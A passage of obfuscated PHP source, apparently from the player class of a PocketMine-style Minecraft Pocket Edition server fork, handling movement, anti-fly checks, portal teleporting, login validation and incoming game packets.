or!$chunk->isGenerated()){$tncfrkbktk="revert";${$tncfrkbktk}=true;$this->nextChunkOrderRun=0;}else{if($this->chunk!==null){$this->chunk->removeEntity($this);}$this->chunk=${${"GLOBALS"}["zblhoo"]};}}}${"GLOBALS"}["mwwhqnccvu"]="distanceSquared";if(!${${"GLOBALS"}["lsbbnmyiscw"]} and${${"GLOBALS"}["ctvidhurc"]}!=0){${${"GLOBALS"}["uzxmxytm"]}=$newPos->x-$this->x;${"GLOBALS"}["flscty"]="diffX";${${"GLOBALS"}["xojacv"]}=$newPos->y-$this->y;${"GLOBALS"}["ixladsfp"]="diffY";${"GLOBALS"}["dbbzrhyo"]="yS";${${"GLOBALS"}["ioksphyz"]}=$newPos->z-$this->z;$this->move(${${"GLOBALS"}["uzxmxytm"]},${${"GLOBALS"}["xojacv"]},${${"GLOBALS"}["ioksphyz"]});${${"GLOBALS"}["flscty"]}=$this->x-$newPos->x;${"GLOBALS"}["ovcswqaeix"]="yS";$lecbosd="tickDiff";${"GLOBALS"}["uqcucizmkdkp"]="diffY";${${"GLOBALS"}["qmwdfikxc"]}=$this->y-$newPos->y;${"GLOBALS"}["ejzthgsj"]="diffZ";${${"GLOBALS"}["ejzthgsj"]}=$this->z-$newPos->z;${"GLOBALS"}["obejbgistpj"]="diffZ";${${"GLOBALS"}["xrlythxdifz"]}=0.5+$this->ySize;if(${${"GLOBALS"}["uqcucizmkdkp"]}>=-${${"GLOBALS"}["ovcswqaeix"]} or${${"GLOBALS"}["qmwdfikxc"]}<=${${"GLOBALS"}["dbbzrhyo"]}){$pjlibro="diffY";${$pjlibro}=0;}${${"GLOBALS"}["bwaqorjihg"]}=(${${"GLOBALS"}["wpmiqyw"]}**2+${${"GLOBALS"}["ixladsfp"]}**2+${${"GLOBALS"}["obejbgistpj"]}**2)/(${$lecbosd}**2);}${$alpwytyymm}=new Location($this->lastX,$this->lastY,$this->lastZ,$this->lastYaw,$this->lastPitch,$this->level);${$dpoqegtd}=$this->getLocation();${$kufrhrwnyrr}=pow($this->lastX-$to->x,2)+pow($this->lastY-$to->y,2)+pow($this->lastZ-$to->z,2);${${"GLOBALS"}["airqtkrd"]}=abs($this->lastYaw-$to->yaw)+abs($this->lastPitch-$to->pitch);if(!${${"GLOBALS"}["rtkvnyyhk"]} and(${${"GLOBALS"}["homsqu"]}>(1/16)or${${"GLOBALS"}["airqtkrd"]}>10)){${${"GLOBALS"}["suqlgnvhse"]}=($this->lastX===null or$this->lastY===null or$this->lastZ===null);$this->lastX=$to->x;$this->lastY=$to->y;$this->lastZ=$to->z;$this->lastYaw=$to->yaw;$this->lastPitch=$to->pitch;if(!${${"GLOBALS"}["suqlgnvhse"]}){$llpeqsx="ev";$sppubkrnkpf="from";$sudwtkjpb="ev";${$llpeqsx}=new PlayerMoveEvent($this,${$sppubkrnkpf},${${"GLOBALS"}["lnajtnm"]});$this->setMoving(true);$this->server->getPluginManager()->callEvent(${$sudwtkjpb});if(!(${${"GLOBALS"}["rtkvnyyhk"]}=$ev->isCancelled())){if($this->server->netherEnabled){if($this->isInsideOfPortal()){if($this->portalTime==0){$this->portalTime=$this->server->getTick();}}else{$this->portalTime=0;}}if($to->distanceSquared($ev->getTo())>0.01){$this->teleport($ev->getTo());}else{$this->addMovement($this->x,$this->y+$this->getEyeHeight(),$this->z,$this->yaw,$this->pitch,$this->yaw);}if($this->fishingHook instanceof FishingHook){if($this->distance($this->fishingHook)>33 or$this->inventory->getItemInHand()->getId()!==Item::FISHING_ROD){$this->setFishingHook();}}}}if(!$this->isSpectator()){$rqprbchrqmsb="tickDiff";$this->checkNearEntities(${$rqprbchrqmsb});}$this->speed=$from->subtract(${${"GLOBALS"}["lnajtnm"]});}elseif(${${"GLOBALS"}["mwwhqnccvu"]}==0){$this->speed=new Vector3(0,0,0);$this->setMoving(false);}if(${$pbeibvvrsum}&&!$this->isSpectator()){$cfigoqddws="from";$this->lastX=$from->x;$this->lastY=$from->y;$this->lastZ=$from->z;$this->lastYaw=$from->yaw;$this->lastPitch=$from->pitch;$this->sendPosition(${$cfigoqddws},$from->yaw,$from->pitch,1);$this->forceMovement=new Vector3($from->x,$from->y,$from->z);}else{$this->forceMovement=null;$zibnsqfys="distanceSquared";if(${$zibnsqfys}!=0 and$this->nextChunkOrderRun>20){$this->nextChunkOrderRun=20;}}$this->newPosition=null;}public function addMovement($x,$y,$z,$yaw,$pitch,$headYaw=null){if($this->chunk!==null){$cjgvphbftly="headYaw";${"GLOBALS"}["ptaoih"]="x";${"GLOBALS"}["doqiurvhap"]="z";${"GLOBALS"}["rffyhlox"]="yaw";${"GLOBALS"}["hgrzjfrhhle"]="y";$this->level->addPlayerMovement($this->chunk->getX(),$this->chunk->getZ(),$this->id,${${"GLOBALS"}["ptaoih"]},${${"GLOBALS"}["hgrzjfrhhle"]},${${"GLOBALS"}["doqiurvhap"]},${${"GLOBALS"}["fpjrglovqm"]},${${"GLOBALS"}["wvtjdkymit"]},$this->onGround,${${"GLOBALS"}["pxiwzxnx"]}===null?${${"GLOBALS"}["rffyhlox"]}:${$cjgvphbftly});}}public function setMotion(Vector3$mot){$qqlcwlue="mot";if(parent::setMotion(${$qqlcwlue})){if($this->chunk!==null){$jgziwwy="pk";${"GLOBALS"}["ciesqcovis"]="pk";$this->level->addEntityMotion($this->chunk->getX(),$this->chunk->getZ(),$this->getId(),$this->motionX,$this->motionY,$this->motionZ);${${"GLOBALS"}["ciesqcovis"]}=new SetEntityMotionPacket();$pk->entities[]=[0,$mot->x,$mot->y,$mot->z];$this->dataPacket(${$jgziwwy});}if($this->motionY>0){$this->startAirTicks=(-(log($this->gravity/($this->gravity+$this->drag*$this->motionY)))/$this->drag)*2+5;}return true;}return false;}protected function updateMovement(){}public$foodTick=0;public$starvationTick=0;public$foodUsageTime=0;protected$moving=false;public function setMoving($moving){$this->moving=${${"GLOBALS"}["jsfeuxvh"]};}public function isMoving():bool{return$this->moving;}public function sendAttributes(){$dvifrniqi="entries";$kcffgqlo="entries";${$dvifrniqi}=$this->attributeMap->needSend();if(count(${$kcffgqlo})>0){$tvwbpit="pk";${$tvwbpit}=new UpdateAttributesPacket();$pk->entityId=0;$pk->entries=${${"GLOBALS"}["hzleyixsfkp"]};${"GLOBALS"}["lqycwuf"]="entry";$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});foreach(${${"GLOBALS"}["hzleyixsfkp"]} as${${"GLOBALS"}["lqycwuf"]}){$entry->markSynchronized();}}}public function onUpdate($currentTick){$wddvqn="tickDiff";if(!$this->loggedIn){return false;}${"GLOBALS"}["rtfhyqkop"]="currentTick";${$wddvqn}=${${"GLOBALS"}["kyjjmgh"]}-$this->lastUpdate;if(${${"GLOBALS"}["klpkqij"]}<=0){return true;}$this->messageCounter=2;$this->lastUpdate=${${"GLOBALS"}["rtfhyqkop"]};$this->sendAttributes();if(!$this->isAlive()and$this->spawned){++$this->deadTicks;if($this->deadTicks>=10){$this->despawnFromAll();}return true;}$this->timings->startTiming();if($this->spawned){if($this->server->netherEnabled){if(($this->isCreative()or$this->isSurvival()and$this->server->getTick()-$this->portalTime>=80)and$this->portalTime>0){if($this->server->netherLevel instanceof Level){if($this->getLevel()!=$this->server->netherLevel){$this->fromPos=$this->getPosition();$this->fromPos->x=((int)$this->fromPos->x)+0.5;$this->fromPos->z=((int)$this->fromPos->z)+0.5;$this->teleport($this->shouldResPos=$this->server->netherLevel->getSafeSpawn());}elseif($this->fromPos instanceof Position){$fcmihamf="j";$rcvxowvvd="j";if(!($this->getLevel()->isChunkLoaded($this->fromPos->x,$this->fromPos->z))){$this->getLevel()->loadChunk($this->fromPos->x,$this->fromPos->z);}${"GLOBALS"}["dwpeffpjrpc"]="tempos";$rqvjkrhuqthm="tempos";${${"GLOBALS"}["swmvqygzd"]}=[1,0,-1,0,0,1,0,-1];${"GLOBALS"}["mnczqmyola"]="tempos";$fnhthjg="tempos";${$rqvjkrhuqthm}=null;for(${$rcvxowvvd}=2;${${"GLOBALS"}["woxkgve"]}<5;${$fcmihamf}++){${"GLOBALS"}["euqolwwnjec"]="i";for(${${"GLOBALS"}["oilgiiu"]}=0;${${"GLOBALS"}["euqolwwnjec"]}<4;${${"GLOBALS"}["oilgiiu"]}++){${"GLOBALS"}["dbzawhd"]="add";${"GLOBALS"}["qjizqrkp"]="j";$fwvxphmwxp="add";${"GLOBALS"}["jpwnrwnemlt"]="j";$leycptilakb="i";if($this->fromPos->getLevel()->getBlock($this->temporalVector->fromObjectAdd($this->fromPos,${${"GLOBALS"}["dbzawhd"]}[${$leycptilakb}]*${${"GLOBALS"}["jpwnrwnemlt"]},0,${$fwvxphmwxp}[${${"GLOBALS"}["oilgiiu"]}+4]*${${"GLOBALS"}["qjizqrkp"]}))->getId()===Block::AIR){${"GLOBALS"}["ddhhrnvqc"]="i";$ylxsqmwbk="add";if($this->fromPos->getLevel()->getBlock($this->temporalVector->fromObjectAdd($this->fromPos,${$ylxsqmwbk}[${${"GLOBALS"}["ddhhrnvqc"]}]*${${"GLOBALS"}["woxkgve"]},1,${${"GLOBALS"}["swmvqygzd"]}[${${"GLOBALS"}["oilgiiu"]}+4]*${${"GLOBALS"}["woxkgve"]}))->getId()===Block::AIR){${"GLOBALS"}["vgqbdglgy"]="i";$cwartvn="j";$vnbyuvgqeao="add";${${"GLOBALS"}["nrkxjt"]}=$this->fromPos->add(${${"GLOBALS"}["swmvqygzd"]}[${${"GLOBALS"}["vgqbdglgy"]}]*${$cwartvn},0,${$vnbyuvgqeao}[${${"GLOBALS"}["oilgiiu"]}+4]*${${"GLOBALS"}["woxkgve"]});break;}}}if(${${"GLOBALS"}["nrkxjt"]}!=null){break;}}if(${${"GLOBALS"}["mnczqmyola"]}==null){${"GLOBALS"}["rfomxrxhhitr"]="tempos";${${"GLOBALS"}["rfomxrxhhitr"]}=$this->fromPos->add(mt_rand(-2,2),0,mt_rand(-2,2));}$this->teleport($this->shouldResPos=${$fnhthjg});${${"GLOBALS"}["swmvqygzd"]}=null;${${"GLOBALS"}["dwpeffpjrpc"]}=null;$this->fromPos=null;}else{$this->teleport($this->shouldResPos=$this->server->getDefaultLevel()->getSafeSpawn());}$this->portalTime=0;}}}if(!$this->isSleeping()){$this->processMovement(${${"GLOBALS"}["klpkqij"]});}$elvrpnccdcj="tickDiff";if(!$this->isSpectator())$this->entityBaseTick(${$elvrpnccdcj});if($this->isOnFire()or$this->lastUpdate%10==0){if($this->isCreative()and!$this->isInsideOfFire()){$this->extinguish();}elseif($this->getLevel()->getWeather()->isRainy()){if($this->getLevel()->canBlockSeeSky($this)){$this->extinguish();}}}if($this->server->antiFly){if(!$this->isSpectator()and$this->speed!==null){if($this->onGround){if($this->inAirTicks!==0){$this->startAirTicks=5;}$this->inAirTicks=0;}else{if(!$this->allowFlight and$this->inAirTicks>10 and!$this->isSleeping()and$this->getDataProperty(self::DATA_NO_AI)!==1){${${"GLOBALS"}["upcbeljlenhu"]}=(-$this->gravity)/$this->drag-((-$this->gravity)/$this->drag)*exp(-$this->drag*($this->inAirTicks-$this->startAirTicks));${${"GLOBALS"}["bwaqorjihg"]}=($this->speed->y-${${"GLOBALS"}["upcbeljlenhu"]})**2;if(!$this->hasEffect(Effect::JUMP)and${${"GLOBALS"}["bwaqorjihg"]}>0.6 and${${"GLOBALS"}["upcbeljlenhu"]}<$this->speed->y and!$this->server->getAllowFlight()){$this->setMotion($this->temporalVector->setComponents(0,${${"GLOBALS"}["upcbeljlenhu"]},0));}}++$this->inAirTicks;}}}if($this->getTransactionQueue()!==null){$this->getTransactionQueue()->execute();}}$this->checkTeleportPosition();$this->timings->stopTiming();return true;}public function checkNetwork(){if(!$this->isOnline()){return;}if($this->nextChunkOrderRun--<=0 or$this->chunk===null){$this->orderChunks();}if(count($this->loadQueue)>0 or!$this->spawned){$this->sendNextChunk();}if(count($this->batchedPackets)>0){$this->server->batchPackets([$this],$this->batchedPackets,false);$this->batchedPackets=[];}}public function canInteract(Vector3$pos,$maxDistance,$maxDiff=0.5){${${"GLOBALS"}["wswpvg"]}=$this->getPosition()->add(0,$this->getEyeHeight(),0);${"GLOBALS"}["nrnuqph"]="dV";${"GLOBALS"}["yyxnonyem"]="dot1";if($eyePos->distanceSquared(${${"GLOBALS"}["wxoehmqbtg"]})>${${"GLOBALS"}["qzwrrkc"]}**2){return false;}${${"GLOBALS"}["nrnuqph"]}=$this->getDirectionPlane();${${"GLOBALS"}["fhbmvwvi"]}=$dV->dot(new Vector2($eyePos->x,$eyePos->z));${${"GLOBALS"}["yyxnonyem"]}=$dV->dot(new Vector2($pos->x,$pos->z));${"GLOBALS"}["twyfwrnjst"]="maxDiff";$revhiony="dot";return(${${"GLOBALS"}["vcjiseb"]}-${$revhiony})>=-${${"GLOBALS"}["twyfwrnjst"]};}public function onPlayerPreLogin(){${"GLOBALS"}["nyijwncwbq"]="pk";${${"GLOBALS"}["ozzywsrssq"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_SUCCESS;$this->dataPacket(${${"GLOBALS"}["nyijwncwbq"]});$this->processLogin();}public function clearCreativeItems(){$this->personalCreativeItems=[];}public function getCreativeItems():array{return$this->personalCreativeItems;}public function addCreativeItem(Item$item){$this->personalCreativeItems[]=Item::get($item->getId(),$item->getDamage());}public function removeCreativeItem(Item$item){${"GLOBALS"}["auuugqx"]="index";$vmwtxfwfapg="item";$pnpfukgavj="index";${${"GLOBALS"}["auuugqx"]}=$this->getCreativeItemIndex(${$vmwtxfwfapg});if(${$pnpfukgavj}!==-1){unset($this->personalCreativeItems[${${"GLOBALS"}["uspqxtmors"]}]);}}public function getCreativeItemIndex(Item$item):int{foreach($this->personalCreativeItems as${${"GLOBALS"}["oilgiiu"]}=>${${"GLOBALS"}["vjqqcpbch"]}){${"GLOBALS"}["nocolgpxqtil"]="d";if($item->equals(${${"GLOBALS"}["nocolgpxqtil"]},!$item->isTool())){return${${"GLOBALS"}["oilgiiu"]};}}return-1;}protected function processLogin(){$cklvuzapmeo="pk";$kolbtfwzgb="nbt";${"GLOBALS"}["hiydbmxfq"]="p";$toxzikphrxm="nbt";$gumeowec="nbt";if(!$this->server->isWhitelisted(strtolower($this->getName()))){$this->close($this->getLeaveMessage(),"Server is white-listed");return;}elseif($this->server->getNameBans()->isBanned(strtolower($this->getName()))or$this->server->getIPBans()->isBanned($this->getAddress())or$this->server->getCIDBans()->isBanned($this->randomClientId)){$this->close($this->getLeaveMessage(),TextFormat::RED."You are banned");return;}${"GLOBALS"}["oimmmplgxcyf"]="pk";if($this->hasPermission(Server::BROADCAST_CHANNEL_USERS)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_USERS,$this);}if($this->hasPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);}foreach($this->server->getOnlinePlayers()as${${"GLOBALS"}["hiydbmxfq"]}){${"GLOBALS"}["lwwpnnx"]="p";if(${${"GLOBALS"}["lwwpnnx"]}!==$this and strtolower($p->getName())===strtolower($this->getName())){if($p->kick("logged in from another location")===false){$this->close($this->getLeaveMessage(),"Logged in from another location");return;}}elseif($p->loggedIn and$this->getUniqueId()->equals($p->getUniqueId())){if($p->kick("logged in from another location")===false){$this->close($this->getLeaveMessage(),"Logged in from another location");return;}}}$hlgvun="nbt";$this->setNameTag($this->getDisplayName());${"GLOBALS"}["seyucmkxrb"]="pk";${"GLOBALS"}["yeoibucs"]="nbt";${$toxzikphrxm}=$this->server->getOfflinePlayerData($this->username);$this->playedBefore=(${${"GLOBALS"}["yeoibucs"]}["lastPlayed"]-${${"GLOBALS"}["snbhmgypsq"]}["firstPlayed"])>1;if(!isset($nbt->NameTag)){$nbt->NameTag=new StringTag("NameTag",$this->username);}else{$rpjswwjl="nbt";${$rpjswwjl}["NameTag"]=$this->username;}if(!isset($nbt->Hunger)or!isset($nbt->Health)or!isset($nbt->MaxHealth)){$nbt->Hunger=new ShortTag("Hunger",20);$nbt->Health=new ShortTag("Health",20);$nbt->MaxHealth=new ShortTag("MaxHealth",20);}${"GLOBALS"}["ogrbksxqmg"]="spawnPosition";$this->food=${${"GLOBALS"}["snbhmgypsq"]}["Hunger"];$this->setMaxHealth(${$gumeowec}["MaxHealth"]);Entity::setHealth((${${"GLOBALS"}["snbhmgypsq"]}["Health"]<=0)?20:${${"GLOBALS"}["snbhmgypsq"]}["Health"]);${"GLOBALS"}["wgxetkmk"]="pk";$this->gamemode=${$kolbtfwzgb}["playerGameType"]&0x03;if($this->server->getForceGamemode()){$this->gamemode=$this->server->getGamemode();$nbt->playerGameType=new IntTag("playerGameType",$this->gamemode);}$this->allowFlight=$this->isCreative();$kmbqnxvh="pk";if((${${"GLOBALS"}["mqgpqffss"]}=$this->server->getLevelByName(${$hlgvun}["Level"]))===null){$this->setLevel($this->server->getDefaultLevel());${"GLOBALS"}["pqbedqigw"]="nbt";${${"GLOBALS"}["snbhmgypsq"]}["Level"]=$this->level->getName();${${"GLOBALS"}["pqbedqigw"]}["Pos"][0]=$this->level->getSpawnLocation()->x;${${"GLOBALS"}["snbhmgypsq"]}["Pos"][1]=$this->level->getSpawnLocation()->y;${${"GLOBALS"}["snbhmgypsq"]}["Pos"][2]=$this->level->getSpawnLocation()->z;}else{${"GLOBALS"}["ovsspbc"]="level";$this->setLevel(${${"GLOBALS"}["ovsspbc"]});}if(!(${${"GLOBALS"}["snbhmgypsq"]} instanceof CompoundTag)){$this->close($this->getLeaveMessage(),"Invalid data");return;}$nbt->lastPlayed=new LongTag("lastPlayed",floor(microtime(true)*1000));if($this->server->getAutoSave()){$iskcguj="nbt";$this->server->saveOfflinePlayerData($this->username,${$iskcguj},true);}parent::__construct($this->level->getChunk(${${"GLOBALS"}["snbhmgypsq"]}["Pos"][0]>>4,${${"GLOBALS"}["snbhmgypsq"]}["Pos"][2]>>4,true),${${"GLOBALS"}["snbhmgypsq"]});$this->loggedIn=true;$this->server->addOnlinePlayer($this);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerLoginEvent($this,"Plugin reason"));if($ev->isCancelled()){$this->close($this->getLeaveMessage(),$ev->getKickMessage());return;}if(!$this->isConnected()){return;}${${"GLOBALS"}["oimmmplgxcyf"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_SUCCESS;$ecmueob="level";$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});if($this->spawnPosition===null and isset($this->namedtag->SpawnLevel)and(${$ecmueob}=$this->server->getLevelByName($this->namedtag["SpawnLevel"]))instanceof Level){${"GLOBALS"}["vghjfnqi"]="level";$this->spawnPosition=new Position($this->namedtag["SpawnX"],$this->namedtag["SpawnY"],$this->namedtag["SpawnZ"],${${"GLOBALS"}["vghjfnqi"]});}${${"GLOBALS"}["ogrbksxqmg"]}=$this->getSpawn();$tiqrwzd="pk";${${"GLOBALS"}["wgxetkmk"]}=new StartGamePacket();$pk->seed=-1;$pk->dimension=$this->level->getDimension();$pk->x=$this->x;$pk->y=$this->y;$pk->z=$this->z;$pk->spawnX=(int)$spawnPosition->x;$pk->spawnY=(int)$spawnPosition->y;$pk->spawnZ=(int)$spawnPosition->z;$pk->generator=1;$pk->gamemode=$this->gamemode&0x01;$pk->eid=0;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});${$kmbqnxvh}=new SetTimePacket();$pk->time=$this->level->getTime();$pk->started=$this->level->stopTime==false;$swsbjwk="pk";$this->dataPacket(${${"GLOBALS"}["seyucmkxrb"]});${${"GLOBALS"}["ozzywsrssq"]}=new SetSpawnPositionPacket();$pk->x=(int)$spawnPosition->x;$pk->y=(int)$spawnPosition->y;$pk->z=(int)$spawnPosition->z;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});${${"GLOBALS"}["ozzywsrssq"]}=new SetHealthPacket();$pk->health=$this->getHealth();$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});${$tiqrwzd}=new SetDifficultyPacket();$pk->difficulty=$this->server->getDifficulty();$this->dataPacket(${$swsbjwk});$this->server->getLogger()->info($this->getServer()->getLanguage()->translateString("pocketmine.player.logIn",[TextFormat::AQUA.$this->username.TextFormat::WHITE,$this->ip,$this->port,TextFormat::GREEN.$this->randomClientId.TextFormat::WHITE,$this->id,$this->level->getName(),round($this->x,4),round($this->y,4),round($this->z,4)]));if($this->gamemode===Player::SPECTATOR){${"GLOBALS"}["wzehgty"]="pk";$vpnixwsjtl="pk";${${"GLOBALS"}["wzehgty"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$this->dataPacket(${$vpnixwsjtl});}else{if(AnyVersionManager::isProtocol($this,"0.15")){$hymkvcofyfae="pk";${$hymkvcofyfae}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getCreativeItems(),$this->personalCreativeItems);$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}else if(AnyVersionManager::isProtocol($this,"0.14")){${${"GLOBALS"}["ozzywsrssq"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getp70CreativeItems(),$this->personalCreativeItems);$oraorwkoflx="pk";$this->dataPacket(${$oraorwkoflx});}}${$cklvuzapmeo}=new SetEntityDataPacket();$pk->eid=0;$pk->metadata=[self::DATA_LEAD_HOLDER=>[self::DATA_TYPE_LONG,-1]];$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});$this->level->getWeather()->sendWeather($this);$this->forceMovement=$this->teleportPosition=$this->getPosition();}public function getProtocol(){return$this->protocol;}public function getGameVersion(){return AnyVersionManager::getGameVersion($this->getProtocol());}public function handleDataPacket($packet){${"GLOBALS"}["uppngkclgk"]="len";${"GLOBALS"}["ijwnxne"]="t";${"GLOBALS"}["bknftipfwnib"]="pos";${"GLOBALS"}["bejsrlqhm"]="recipe";$tjzipochb="cancelled";$imafxpeiei="i";${"GLOBALS"}["hxfzyeuz"]="ev";${"GLOBALS"}["wplnijtgzp"]="canCraft";$wtlhdcawpf="target";$uqxllpn="pk";${"GLOBALS"}["hqevcwsoe"]="item";${"GLOBALS"}["uzmetws"]="ev";$vnqhrtyqydjw="tile";${"GLOBALS"}["ltnyzb"]="item";$ummfcmtv="ev";$djotchztuut="target";$ucouux="revert";$dqiuowfjyc="pos";$cccbkdgeo="valid";${"GLOBALS"}["vduaajkxx"]="target";$nvtordd="tile";${"GLOBALS"}["ofohwbrpvdg"]="pk";$cnldvlmn="pk";$blwrux="target";$gfrbtwj="pk";$jcsfmncn="recipe";${"GLOBALS"}["udlqartytc"]="packet";$eeugcx="oldItem";if($this->connected===false){return;}$oxgwsxi="tile";if(${${"GLOBALS"}["qebrriohj"]}::NETWORK_ID===ProtocolInfo::BATCH_PACKET or${${"GLOBALS"}["udlqartytc"]}::NETWORK_ID===0x92){$lgxyfpzbwj="packet";$this->server->getNetwork()->processBatch(${$lgxyfpzbwj},$this);return;}$this->server->getPluginManager()->callEvent(${$ummfcmtv}=new DataPacketReceiveEvent($this,${${"GLOBALS"}["qebrriohj"]}));$nyqacpmj="ev";$rstgntlxfvv="valid";$dxbfmxeko="newPos";${"GLOBALS"}["uymlfoylz"]="slot";$owcvkqe="vector";${"GLOBALS"}["xlpqskyeb"]="pos";$tskrbeobe="ev";$jlitpscowkq="item";${"GLOBALS"}["gpanfgegfsvs"]="i";${"GLOBALS"}["umogdqn"]="vector";if($ev->isCancelled()){return;}switch(${${"GLOBALS"}["qebrriohj"]}::NETWORK_ID){case ProtocolInfo::ITEM_FRAME_DROP_ITEM_PACKET:case\pocketmine\network\protocol\p70\Info::ITEM_FRAME_DROP_ITEM_PACKET:${$nvtordd}=$this->level->getTile($this->temporalVector->setComponents($packet->x,$packet->y,$packet->z));if(${${"GLOBALS"}["oronttejy"]} instanceof ItemFrame){${"GLOBALS"}["nbnkjfxkhuiq"]="tile";${"GLOBALS"}["isnfwm"]="block";${${"GLOBALS"}["isnfwm"]}=$this->level->getBlock(${${"GLOBALS"}["nbnkjfxkhuiq"]});$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new BlockBreakEvent($this,${${"GLOBALS"}["raioovemq"]},$this->getInventory()->getItemInHand(),true));if(!$ev->isCancelled()){${${"GLOBALS"}["fohexunnbe"]}=$tile->getItem();$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new ItemFrameDropItemEvent($this,${${"GLOBALS"}["raioovemq"]},${${"GLOBALS"}["oronttejy"]},${${"GLOBALS"}["fohexunnbe"]}));if(!$ev->isCancelled()){if($item->getId()!==Item::AIR){if((mt_rand(0,10)/10)<$tile->getItemDropChance()){$kiexwyiom="item";$this->level->dropItem(${${"GLOBALS"}["oronttejy"]},${$kiexwyiom});}$tile->setItem(Item::get(Item::AIR));$tile->setItemRotation(0);}}else$tile->spawnTo($this);}else$tile->spawnTo($this);}break;case ProtocolInfo::REQUEST_CHUNK_RADIUS_PACKET:case\pocketmine\network\protocol\p70\Info::REQUEST_CHUNK_RADIUS_PACKET:${$gfrbtwj}=new ChunkRadiusUpdatedPacket();$pk->radius=($this->server->chunkRadius!=-1)?$this->server->chunkRadius:$packet->radius;$this->dataPacket(${${"GLOBALS"}["ofohwbrpvdg"]});break;case ProtocolInfo::PLAYER_INPUT_PACKET:case\pocketmine\network\protocol\p70\Info::PLAYER_INPUT_PACKET:break;case ProtocolInfo::LOGIN_PACKET:case\pocketmine\network\protocol\p70\Info::LOGIN_PACKET:if($this->loggedIn){break;}${$uqxllpn}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_SUCCESS;$this->dataPacket(${$cnldvlmn});$this->username=TextFormat::clean($packet->username);$this->displayName=$this->username;$this->setNameTag($this->username);$this->iusername=strtolower($this->username);$this->protocol=$packet->protocol;if($this->server->getConfigBoolean("online-mode",false)&&$packet->identityPublicKey===null){$this->kick("disconnectionScreen.notAuthenticated",false);break;}if(count($this->server->getOnlinePlayers())>=$this->server->getMaxPlayers()and$this->kick("disconnectionScreen.serverFull",false)){break;}if(!in_array($packet->protocol,AnyVersionManager::getAcceptedProtocols())){${${"GLOBALS"}["ozzywsrssq"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_FAILED_SERVER;$this->directDataPacket(${${"GLOBALS"}["ozzywsrssq"]});$this->close("","This server does not support your client",\false);break;}$this->randomClientId=$packet->clientId;if(AnyVersionManager::isProtocol($this,"0.15")){$this->uuid=UUID::fromString($packet->clientUUID);}else if(AnyVersionManager::isProtocol($this,"0.14")){$this->loginData=["clientId"=>$packet->clientId,"loginData"=>null];$this->uuid=$packet->clientUUID;$this->clientSecret=$packet->clientSecret;}$this->rawUUID=$this->uuid->toBinary();${$rstgntlxfvv}=true;${${"GLOBALS"}["svpvqyhf"]}=strlen($packet->username);if(${${"GLOBALS"}["uppngkclgk"]}>16 or${${"GLOBALS"}["svpvqyhf"]}<3){${${"GLOBALS"}["fpvodvxg"]}=false;}for(${${"GLOBALS"}["oilgiiu"]}=0;${${"GLOBALS"}["gpanfgegfsvs"]}<${${"GLOBALS"}["svpvqyhf"]} and${$cccbkdgeo};++${${"GLOBALS"}["oilgiiu"]}){${"GLOBALS"}["qnlxtsqovsgr"]="i";${"GLOBALS"}["jojhyguhl"]="c";$nikmtl="c";${"GLOBALS"}["upyppqihm"]="c";$khbyoq="valid";${${"GLOBALS"}["jojhyguhl"]}=ord($packet->username{${${"GLOBALS"}["qnlxtsqovsgr"]}});if((${${"GLOBALS"}["kezzbew"]}>=ord("a")and${$nikmtl}<=ord("z"))or(${${"GLOBALS"}["kezzbew"]}>=ord("A")and${${"GLOBALS"}["kezzbew"]}<=ord("Z"))or(${${"GLOBALS"}["kezzbew"]}>=ord("0")and${${"GLOBALS"}["upyppqihm"]}<=ord("9"))or${${"GLOBALS"}["kezzbew"]}===ord("_")){continue;}${$khbyoq}=false;break;}if(!${${"GLOBALS"}["fpvodvxg"]} or$this->iusername==="rcon"or$this->iusername==="console"){$this->close("","disconnectionScreen.invalidName");break;}if((strlen($packet->skin)!=64*64*4)and(strlen($packet->skin)!=64*32*4)){$this->close("","disconnectionScreen.invalidSkin");break;}if($packet->protocol==84){$this->setSkin($packet->skin,$packet->skinId);}else{$this->setSkin($packet->skin,$packet->skinName);}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerPreLoginEvent($this,"Plugin reason"));if($ev->isCancelled()){$this->close("",$ev->getKickMessage());break;}if($this->isConnected()){$this->onPlayerPreLogin();}break;case ProtocolInfo::MOVE_PLAYER_PACKET:case\pocketmine\network\protocol\p70\Info::MOVE_PLAYER_PACKET;if($this->linkedEntity instanceof Entity){${"GLOBALS"}["xqgqfwqf"]="entity";${${"GLOBALS"}["xqgqfwqf"]}=$this->linkedEntity;if(${${"GLOBALS"}["yiewjbrtorvu"]} instanceof Boat){$entity->setPosition($this->temporalVector->setComponents($packet->x,$packet->y-0.3,$packet->z));}}${$dxbfmxeko}=new Vector3($packet->x,$packet->y-$this->getEyeHeight(),$packet->z);${${"GLOBALS"}["rtkvnyyhk"]}=false;if(!$this->isAlive()or$this->spawned!==true){$cpktzvky="revert";${$cpktzvky}=true;$this->forceMovement=new Vector3($this->x,$this->y,$this->z);}if($this->teleportPosition!==null or($this->forceMovement instanceof Vector3 and((${${"GLOBALS"}["ohyhznni"]}=$newPos->distanceSquared($this->forceMovement))>0.1 or${$ucouux}))){if($this->forceMovement instanceof 